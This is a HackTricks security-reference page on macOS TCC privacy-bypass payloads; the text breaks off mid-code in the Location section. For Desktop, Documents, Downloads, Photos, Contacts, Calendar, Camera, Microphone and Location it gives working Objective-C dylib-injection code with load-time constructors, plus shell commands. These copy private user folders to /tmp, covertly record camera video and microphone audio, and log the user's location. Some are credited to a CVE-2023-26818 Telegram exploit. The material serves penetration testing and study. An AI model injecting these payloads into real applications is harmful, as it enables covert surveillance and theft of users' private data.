<!DOCTYPE HTML>
<html lang="en" class="hacktricks-light sidebar-visible" dir="ltr">
    <head>
        <!-- Book generated using mdBook -->
        <meta charset="UTF-8">
        <title>macOS TCC Payloads - HackTricks</title>

        <!-- Custom HTML head -->

        <meta name="description" content="">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="theme-color" content="#ffffff">

        <link rel="icon" href="../../../../favicon.svg">
        <link rel="shortcut icon" href="../../../../favicon.png">
        <link rel="stylesheet" href="../../../../css/variables.css">
        <link rel="stylesheet" href="../../../../css/general.css">
        <link rel="stylesheet" href="../../../../css/chrome.css">

        <!-- Fonts -->
        <link rel="stylesheet" href="../../../../FontAwesome/css/font-awesome.css">
        <link rel="stylesheet" href="../../../../fonts/fonts.css">

        <!-- Highlight.js Stylesheets -->
        <link rel="stylesheet" href="../../../../highlight.css">
        <link rel="stylesheet" href="../../../../tomorrow-night.css">
        <link rel="stylesheet" href="../../../../ayu-highlight.css">

        <!-- Custom theme stylesheets -->
        <link rel="stylesheet" href="../../../../theme/pagetoc.css">
        <link rel="stylesheet" href="../../../../theme/tabs.css">


        <!-- Provide site root to javascript -->
        <script>
            var path_to_root = "../../../../";
            var lang = "en";
            var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "hacktricks-dark" : "hacktricks-light";
        </script>
        <!-- Start loading toc.js asap -->
        <script src="../../../../toc.js"></script>
    </head>
    <body>
    <div id="body-container">
        <!-- Work around some values being stored in localStorage wrapped in quotes -->
        <script>
            try {
                var theme = localStorage.getItem('mdbook-theme');
                var sidebar = localStorage.getItem('mdbook-sidebar');

                if (theme.startsWith('"') && theme.endsWith('"')) {
                    localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
                }

                if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
                    localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
                }
            } catch (e) { }
        </script>

        <!-- Set the theme before any content is loaded, prevents flash -->
        <script>
            var theme;
            try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
            if (theme === null || theme === undefined) { theme = default_theme; }
            const html = document.documentElement;
            html.classList.remove('hacktricks-light')
            html.classList.add(theme);
            html.classList.add("js");
        </script>

        <input type="checkbox" id="sidebar-toggle-anchor" class="hidden">

        <!-- Hide / unhide sidebar before it is displayed -->
        <script>
            var sidebar = null;
            var sidebar_toggle = document.getElementById("sidebar-toggle-anchor");
            var body = document.querySelector("body");
            if (document.body.clientWidth >= 550) {
                try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
                sidebar = sidebar || 'visible';
            } else {
                sidebar = 'hidden';
            }
            sidebar_toggle.checked = sidebar === 'visible';
            html.classList.remove('sidebar-visible');
            html.classList.add("sidebar-" + sidebar);
            body.classList.remove('sidebar-visible');
            body.classList.add("sidebar-" + sidebar);
        </script>

        <div id="page-wrapper" class="page-wrapper">
            <div id="search-wrapper" class="hidden">
                <div id="search-modal">
                    <form id="searchbar-outer" class="searchbar-outer">
                        <span class="fa fa-search"></span>
                        <input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
                    </form>
                    <div id="searchresults-outer" class="searchresults-outer hidden">
                        <div id="searchresults-header" class="searchresults-header"></div>
                        <ul id="searchresults">
                        </ul>
                    </div>
                </div>
            </div>

            <div class="page">
                <div id="menu-bar-hover-placeholder"></div>
                <div id="menu-bar" class="menu-bar sticky">
                    <div class="menu-bar-container">
                        <div class="left-buttons">
                            <label id="sidebar-toggle" class="icon-button" for="sidebar-toggle-anchor" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                                <i class="fa fa-bars"></i>
                            </label>
                            <a href="/">
                                <h1 class="menu-title"><img src="../../../../../images/CLOUD-web-logo.png" alt="" style="width:auto;height:30px;vertical-align:middle;margin-right:5px;">HackTricks</h1>
                            </a>

                        </div>


                        <div class="right-buttons">
                            <div id="menubar-collapse">
                                <a class="menu-bar-link" href="https://training.hacktricks.xyz" target="_blank">
                                    Hacktricks Training
                                </a>
                                <a class="menu-bar-link" href="https://twitter.com/hacktricks_live" target="_blank">
                                    Twitter
                                </a>
                                <a class="menu-bar-link" href="https://www.linkedin.com/company/hacktricks" target="_blank">
                                    Linkedin
                                </a>
                                <a class="menu-bar-link" href="https://github.com/sponsors/carlospolop" target="_blank">
                                    Sponsor
                                </a>
                            </div>
                            <div class="icons">
                                <div id="menubar-collapse-toggle" class="icon-button" type="button" title="Toggle menu bar" aria-label="Toggle Menu bar" aria-expanded="false" aria-controls="collapse">
                                    <i class="fa fa-ellipsis-h"></i>
                                    <div id="menubar-collapse-popup" class="menubar-collapse-popup" aria-label="Menu" role="menu">
                                        <a href="https://training.hacktricks.xyz" target="_blank" role="menuitem" class="menu-bar-link">Hacktricks Training</a>
                                        <a href="https://twitter.com/hacktricks_live" target="_blank" role="menuitem" class="menu-bar-link">Twitter</a>
                                        <a href="https://www.linkedin.com/company/hacktricks" target="_blank" role="menuitem" class="menu-bar-link">Linkedin</a>
                                        <a href="https://github.com/sponsors/carlospolop" target="_blank" role="menuitem" class="menu-bar-link">Sponsor</a>
                                    </div>
                                </div>

                                <button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
                                    <i class="fa fa-search"></i>
                                </button>

                                <div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
                                    <i class="fa fa-globe"></i>
                                    <span class="menu-bar-link">Translations</span>
                                    
                                    <div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
                                        <button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
                                        <button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
                                        <button id="en" role="menuitem" class="menu-bar-link">English</button>
                                        <button id="fr" role="menuitem" class="menu-bar-link">French</button>
                                        <button id="de" role="menuitem" class="menu-bar-link">German</button>
                                        <button id="el" role="menuitem" class="menu-bar-link">Greek</button>
                                        <button id="hi" role="menuitem" class="menu-bar-link">Hindi</button>
                                        <button id="it" role="menuitem" class="menu-bar-link">Italian</button>
                                        <button id="ja" role="menuitem" class="menu-bar-link">Japanese</button>
                                        <button id="ko" role="menuitem" class="menu-bar-link">Korean</button>
                                        <button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
                                        <button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
                                        <button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
                                        <button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
                                        <button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
                                        <button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
                                        <button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
                                    </div>
                                </div>
                            </div>


                        </div>
                    </div>
                </div>
                <div id="container" class="container">
                    <nav id="sidebar" class="sidebar" aria-label="Table of contents">
                        <!-- populated by js -->
                        <mdbook-sidebar-scrollbox class="sidebar-scrollbox"></mdbook-sidebar-scrollbox>
                        <noscript>
                            <iframe class="sidebar-iframe-outer" src="../../../../toc.html"></iframe>
                        </noscript>
                    </nav>
                    <!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
                    <script>
                        document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
                        document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
                        Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
                            link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
                        });
                    </script>

                    <div id="content" class="content">
                        <main>
                            <div class="mobilesponsor-wrapper">

                            <a class="mobilesponsor" href="" target="_blank">
                                <img src="" alt="" srcset="">
                                <div class="mobilesponsor-title">
                                </div>
                                <div class="mobilesponsor-description">
                                </div>
                                <div class="mobilesponsor-cta"></div>
                            </a>
                            </div>
                            <h1 id="macos-tcc-payloads"><a class="header" href="#macos-tcc-payloads">macOS TCC Payloads</a></h1>
<blockquote>
<p>[!TIP]
Learn &amp; practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;"><a href="https://training.hacktricks.xyz/courses/arte"><strong>HackTricks Training AWS Red Team Expert (ARTE)</strong></a><img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;"><br />
Learn &amp; practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;"><a href="https://training.hacktricks.xyz/courses/grte"><strong>HackTricks Training GCP Red Team Expert (GRTE)</strong></a><img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;"></p>
<details>
<summary>Support HackTricks</summary>
<ul>
<li>Check the <a href="https://github.com/sponsors/carlospolop"><strong>subscription plans</strong></a>!</li>
<li><strong>Join the</strong> 💬 <a href="https://discord.gg/hRep4RUj7f"><strong>Discord group</strong></a> or the <a href="https://t.me/peass"><strong>telegram group</strong></a> or <strong>follow</strong> us on <strong>Twitter</strong> 🐦 <a href="https://twitter.com/hacktricks_live"><strong>@hacktricks_live</strong></a><strong>.</strong></li>
<li><strong>Share hacking tricks by submitting PRs to the</strong> <a href="https://github.com/carlospolop/hacktricks"><strong>HackTricks</strong></a> and <a href="https://github.com/carlospolop/hacktricks-cloud"><strong>HackTricks Cloud</strong></a> github repos.</li>
</ul>
</details>
</blockquote>
<h3 id="desktop"><a class="header" href="#desktop">Desktop</a></h3>
<ul>
<li><strong>Entitlement</strong>: None</li>
<li><strong>TCC</strong>: kTCCServiceSystemPolicyDesktopFolder</li>
</ul>
<p>{{#tabs}}
{{#tab name="ObjetiveC"}}
Copy <code>$HOME/Desktop</code> to <code>/tmp/desktop</code>.</p>
<pre><code class="language-objectivec">#include &lt;syslog.h&gt;
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#import &lt;Foundation/Foundation.h&gt;

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
    NSString *tmpPhotosPath = @"/tmp/desktop";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&amp;error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="Shell"}}
Copy <code>$HOME/Desktop</code> to <code>/tmp/desktop</code>.</p>
<pre><code class="language-bash">cp -r "$HOME/Desktop" "/tmp/desktop"
</code></pre>
<p>{{#endtab}}
{{#endtabs}}</p>
<h3 id="documents"><a class="header" href="#documents">Documents</a></h3>
<ul>
<li><strong>Entitlement</strong>: None</li>
<li><strong>TCC</strong>: <code>kTCCServiceSystemPolicyDocumentsFolder</code></li>
</ul>
<p>{{#tabs}}
{{#tab name="ObjetiveC"}}
Copy <code>$HOME/Documents</code> to <code>/tmp/documents</code>.</p>
<pre><code class="language-objectivec">#include &lt;syslog.h&gt;
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#import &lt;Foundation/Foundation.h&gt;

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
    NSString *tmpPhotosPath = @"/tmp/documents";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&amp;error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="Shell"}}
Copy <code>$HOME/</code>Documents to <code>/tmp/documents</code>.</p>
<pre><code class="language-bash">cp -r "$HOME/Documents" "/tmp/documents"
</code></pre>
<p>{{#endtab}}
{{#endtabs}}</p>
<h3 id="downloads"><a class="header" href="#downloads">Downloads</a></h3>
<ul>
<li><strong>Entitlement</strong>: None</li>
<li><strong>TCC</strong>: <code>kTCCServiceSystemPolicyDownloadsFolder</code></li>
</ul>
<p>{{#tabs}}
{{#tab name="ObjetiveC"}}
Copy <code>$HOME/Downloads</code> to <code>/tmp/downloads</code>.</p>
<pre><code class="language-objectivec">#include &lt;syslog.h&gt;
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#import &lt;Foundation/Foundation.h&gt;

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
    NSString *tmpPhotosPath = @"/tmp/downloads";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&amp;error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="Shell"}}
Copy <code>$HOME/Dowloads</code> to <code>/tmp/downloads</code>.</p>
<pre><code class="language-bash">cp -r "$HOME/Downloads" "/tmp/downloads"
</code></pre>
<p>{{#endtab}}
{{#endtabs}}</p>
<h3 id="photos-library"><a class="header" href="#photos-library">Photos Library</a></h3>
<ul>
<li><strong>Entitlement</strong>: <code>com.apple.security.personal-information.photos-library</code></li>
<li><strong>TCC</strong>: <code>kTCCServicePhotos</code></li>
</ul>
<p>{{#tabs}}
{{#tab name="ObjetiveC"}}
Copy <code>$HOME/Pictures/Photos Library.photoslibrary</code> to <code>/tmp/photos</code>.</p>
<pre><code class="language-objectivec">#include &lt;syslog.h&gt;
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#import &lt;Foundation/Foundation.h&gt;

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
    NSString *tmpPhotosPath = @"/tmp/photos";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&amp;error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="Shell"}}
Copy <code>$HOME/Pictures/Photos Library.photoslibrary</code> to <code>/tmp/photos</code>.</p>
<pre><code class="language-bash">cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
</code></pre>
<p>{{#endtab}}
{{#endtabs}}</p>
<h3 id="contacts"><a class="header" href="#contacts">Contacts</a></h3>
<ul>
<li><strong>Entitlement</strong>: <code>com.apple.security.personal-information.addressbook</code></li>
<li><strong>TCC</strong>: <code>kTCCServiceAddressBook</code></li>
</ul>
<p>{{#tabs}}
{{#tab name="ObjetiveC"}}
Copy <code>$HOME/Library/Application Support/AddressBook</code> to <code>/tmp/contacts</code>.</p>
<pre><code class="language-objectivec">#include &lt;syslog.h&gt;
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#import &lt;Foundation/Foundation.h&gt;

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
    NSString *tmpPhotosPath = @"/tmp/contacts";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&amp;error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="Shell"}}
Copy <code>$HOME/Library/Application Support/AddressBook</code> to <code>/tmp/contacts</code>.</p>
<pre><code class="language-bash">cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
</code></pre>
<p>{{#endtab}}
{{#endtabs}}</p>
<h3 id="calendar"><a class="header" href="#calendar">Calendar</a></h3>
<ul>
<li><strong>Entitlement</strong>: <code>com.apple.security.personal-information.calendars</code></li>
<li><strong>TCC</strong>: <code>kTCCServiceCalendar</code></li>
</ul>
<p>{{#tabs}}
{{#tab name="ObjectiveC"}}
Copy <code>$HOME/Library/Calendars</code> to <code>/tmp/calendars</code>.</p>
<pre><code class="language-objectivec">#include &lt;syslog.h&gt;
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#import &lt;Foundation/Foundation.h&gt;

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
    NSString *tmpPhotosPath = @"/tmp/calendars";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&amp;error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="Shell"}}
Copy <code>$HOME/Library/Calendars</code> to <code>/tmp/calendars</code>.</p>
<pre><code class="language-bash">cp -r "$HOME/Library/Calendars" "/tmp/calendars"
</code></pre>
<p>{{#endtab}}
{{#endtabs}}</p>
<h3 id="camera"><a class="header" href="#camera">Camera</a></h3>
<ul>
<li><strong>Entitlement</strong>: <code>com.apple.security.device.camera</code></li>
<li><strong>TCC</strong>: <code>kTCCServiceCamera</code></li>
</ul>
<p>{{#tabs}}
{{#tab name="ObjetiveC - Record"}}
Record a 3s video and save it in <strong><code>/tmp/recording.mov</code></strong></p>
<pre><code class="language-objectivec">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AVFoundation/AVFoundation.h&gt;

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface VideoRecorder : NSObject &lt;AVCaptureFileOutputRecordingDelegate&gt;
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}
- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&amp;error];
    if (error) {
        NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
        return;
    }
    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }
    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}
- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = @"/tmp/recording.mov";
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}
- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray&lt;AVCaptureConnection *&gt; *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
    freopen("/tmp/logs.txt", "a", stderr);
    VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
    [videoRecorder startRecording];
    [NSThread sleepForTimeInterval:3.0];
    [videoRecorder stopRecording];
    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
    fclose(stderr); // Close the file stream
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="ObjectiveC - Check"}}
Check if the program has access to the camera.</p>
<pre><code class="language-objectivec">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AVFoundation/AVFoundation.h&gt;

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface CameraAccessChecker : NSObject
+ (BOOL)hasCameraAccess;
@end
@implementation CameraAccessChecker
+ (BOOL)hasCameraAccess {
    AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
    if (status == AVAuthorizationStatusAuthorized) {
        NSLog(@"[+] Access to camera granted.");
        return YES;
    } else {
        NSLog(@"[-] Access to camera denied.");
        return NO;
    }
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    freopen("/tmp/logs.txt", "a", stderr);
    [CameraAccessChecker hasCameraAccess];
    fclose(stderr); // Close the file stream
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="Shell"}}
Take a photo with the camera</p>
<pre><code class="language-bash">ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
</code></pre>
<p>{{#endtab}}
{{#endtabs}}</p>
<h3 id="microphone"><a class="header" href="#microphone">Microphone</a></h3>
<ul>
<li><strong>Entitlement</strong>: <strong>com.apple.security.device.audio-input</strong></li>
<li><strong>TCC</strong>: <code>kTCCServiceMicrophone</code></li>
</ul>
<p>{{#tabs}}
{{#tab name="ObjetiveC - Record"}}
Record 5s of audio an store it in <code>/tmp/recording.m4a</code></p>
<pre><code class="language-objectivec">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AVFoundation/AVFoundation.h&gt;

// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

@interface AudioRecorder : NSObject &lt;AVCaptureFileOutputRecordingDelegate&gt;

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
    NSError *error;
    self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&amp;error];

    if (error) {
        NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
        return;
    }

    if ([self.captureSession canAddInput:self.audioDeviceInput]) {
        [self.captureSession addInput:self.audioDeviceInput];
    }

    self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.audioFileOutput]) {
        [self.captureSession addOutput:self.audioFileOutput];
    }
}

- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}

- (void)stopRecording {
    [self.audioFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray&lt;AVCaptureConnection *&gt; *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
    NSLog(@"Saved to %@", outputFileURL.path);
}

@end

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {

    freopen("/tmp/logs.txt", "a", stderr);
    AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

    [audioRecorder startRecording];
    [NSThread sleepForTimeInterval:5.0];
    [audioRecorder stopRecording];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
    fclose(stderr); // Close the file stream
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="ObjectiveC - Check"}}
Check if the app has access to the mricrophone.</p>
<pre><code class="language-objectivec">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AVFoundation/AVFoundation.h&gt;

// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib

@interface MicrophoneAccessChecker : NSObject
+ (BOOL)hasMicrophoneAccess;
@end
@implementation MicrophoneAccessChecker
+ (BOOL)hasMicrophoneAccess {
    AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
    if (status == AVAuthorizationStatusAuthorized) {
        NSLog(@"[+] Access to microphone granted.");
        return YES;
    } else {
        NSLog(@"[-] Access to microphone denied.");
        return NO;
    }
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    [MicrophoneAccessChecker hasMicrophoneAccess];
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="Shell"}}
Record a 5s audio and store it in <code>/tmp/recording.wav</code></p>
<pre><code class="language-bash"># Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
</code></pre>
<p>{{#endtab}}
{{#endtabs}}</p>
<h3 id="location"><a class="header" href="#location">Location</a></h3>
<blockquote>
<p>[!TIP]
For an app to get the location, <strong>Location Services</strong> (from Privacy &amp; Security) <strong>must be enabled,</strong> if not it won't be able to access it.</p>
</blockquote>
<ul>
<li><strong>Entitlement</strong>: <code>com.apple.security.personal-information.location</code></li>
<li><strong>TCC</strong>: Granted in <code>/var/db/locationd/clients.plist</code></li>
</ul>
<p>{{#tabs}}
{{#tab name="ObjectiveC"}}
Write the location in <code>/tmp/logs.txt</code></p>
<pre><code class="language-objectivec">#include &lt;syslog.h&gt;
#include &lt;stdio.h&gt;
#import &lt;Foundation/Foundation.h&gt;
#import &lt;CoreLocation/CoreLocation.h&gt;

@interface LocationManagerDelegate : NSObject &lt;CLLocationManagerDelegate&gt;
@end

@implementation LocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray&lt;CLLocation *&gt; *)locations {
    CLLocation *location = [locations lastObject];
    NSLog(@"Current location: %@", location);
    exit(0); // Exit the program after receiving the first location update
}

- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
    NSLog(@"Error getting location: %@", error);
    exit(1); // Exit the program on error
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSLog(@"Getting location");
    CLLocationManager *locationManager = [[CLLocationManager alloc] init];
